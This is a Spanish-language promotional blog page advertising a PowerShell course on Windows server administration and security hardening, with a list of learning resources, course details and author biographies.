Hacking Ético: Más que una Destreza, una Responsabilidad

Powershell se presenta como la herramienta ideal para detectar y neutralizar posibles amenazas antes de que causen daño. El hardening, o fortalecimiento, de servidores es crucial en el mundo digital actual. Powershell simplifica este proceso, desde configurar políticas de seguridad hasta automatizar auditorías, asegurando que tus servidores estén a salvo de posibles ataques.

Ejemplos Prácticos: Desarrollando Habilidades con Powershell

Los profesionales de la seguridad emplean Powershell para fortalecer la infraestructura de servidores. Desde la detección de vulnerabilidades hasta la respuesta rápida a posibles amenazas.

Recursos Gratuitos en Español sobre Powershell

  1. Documentación Oficial de Microsoft en Español: La documentación oficial de Powershell de Microsoft en español proporciona información detallada y tutoriales para aprender desde cero.
  2. GitHub – Scripts y Proyectos en Español: Explora proyectos y scripts en español relacionados con Powershell en GitHub.
  3. GitHub: Powershell: Explora repositorios comunitarios en GitHub, donde la comunidad comparte scripts y ejemplos útiles para fortalecer tus habilidades.

No te detengas, sigue avanzando

La inteligencia de código abierto es un arte y una ciencia que evoluciona constantemente. Con más de 5000 herramientas recopiladas en este artículo, solo hemos arañado la superficie de las posibilidades infinitas que el OSINT ofrece. Al incorporar estas herramientas en tu caja de herramientas digital, te conviertes en un investigador más ágil y eficiente. Pero recuerda, con gran poder viene una gran responsabilidad; utiliza estas habilidades con ética y respeto por la privacidad. ¡Adelante, adéntrate en el fascinante mundo del OSINT y lleva tu capacidad de investigación al siguiente nivel!

Aquí tienes un propósito para este 2024 que debes considerar seriamente: si has querido mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus habilidades aprovechando nuestros cursos a un precio increíble y avanza en tu carrera!

Powershell para Administración de Servidores y Seguridad.

Aprende Powershell desde 0, a crear scripts y herramientas para administrar y brindar seguridad a tu servidor.

Calificación: 4 de 5 (140 calificaciones) 11.394 estudiantes Creado por Alvaro Chirou • 1.800.000+ Enrollments WorldwideWalter Coto || +450,000 EstudiantesKevin Lopez || +87,000 Estudiantes

Lo que aprenderás

  • Aprenderas el manejo de Powershel y sus funcionalidades en servidores
  • Conoceras las definiciones basicas de programacion aplicadas en powershell
  • Conoceras los conceptos basicos de powershell
  • Aprenderas la forma de como crear scripts y ejecutarlos mediante la consola de powershell
  • Medidas a tener en cuenta en la ciberseguridad con powershell
  • Aprenderas a como administrar carpetas compartidas con powershell
  • Administracion de usuarios de un servidor y sistema operativo comun usando powershell

Este curso incluye:

  • 5,5 horas de vídeo bajo demanda
  • Tareas
  • 1 artículo
  • 1 recurso descargable
  • Acceso en dispositivos móviles y TV
  • Certificado de finalización

Windows es hoy uno de los sistemas operativos más utilizados, más cuando hablamos de Servidores. Por ello saber powershell es un conocimiento además de muy útil, muy bien valorado.

¿Quieres aprender powershell desde 0?

¿Te gustaría saber como crear scripts en powershell?

¿Buscas aplicar seguridad a tus servidores con powershell?

Si la respuesta a algunas de estas preguntas es que si, este curso es para ti.

Empieza a aprender powershell sin conocimientos previos, donde te enseñaremos todo lo que necesitas saber sobre el manejo de esta consola de Windows para que puedas administrar de forma avanzada Windows.

La ventaja de saber powershell es que permite automatizar y crear scripts para aumentar la seguridad en tu servidores con Windows.

Empieza a aprender ya mismo!

Aprende Powershell para Administración de Servidores y Seguridad sin necesitar conocimientos Previos. Practica Hacking Ético y Ciberseguridad aquí: https://achirou.com/powershell

Aprende con nuestros más de 100 cursos que tenemos disponibles para vos

¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?

Sobre los autores

Álvaro Chirou

Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.800.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes serguirme en mis redes:

Laprovittera Carlos

Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes saber más de mi y de mis servicios en mi sitio web: laprovittera.com y seguirme en mis redes:

¿Quieres iniciarte en hacking y ciberseguridad pero no sabes por dónde empezar? Inicia leyendo nuestra guia gratuita: https://achirou.com/como-iniciarse-en-ciberseguridad-y-hacking-en-2024/ que te lleva de 0 a 100. Desde los fundamentos más básicos, pasando por cursos, recursos y certificaciones hasta cómo obtener tu primer empleo.

SIGUE APRENDIENDO GRATIS CON NUESTRAS GUIAS

Cómo Iniciarse en Hacking y Ciberseguridad en 2024

Curso Gratis Linux – Capitulo 1 – Introducción a Linux

Curso Gratis de Redes – Capitulo 1 – Tipos de redes y servicios

Como iniciarse en TRY HACK ME – Complete Beginner #1

OSINT #1 Más de 200 Search Tools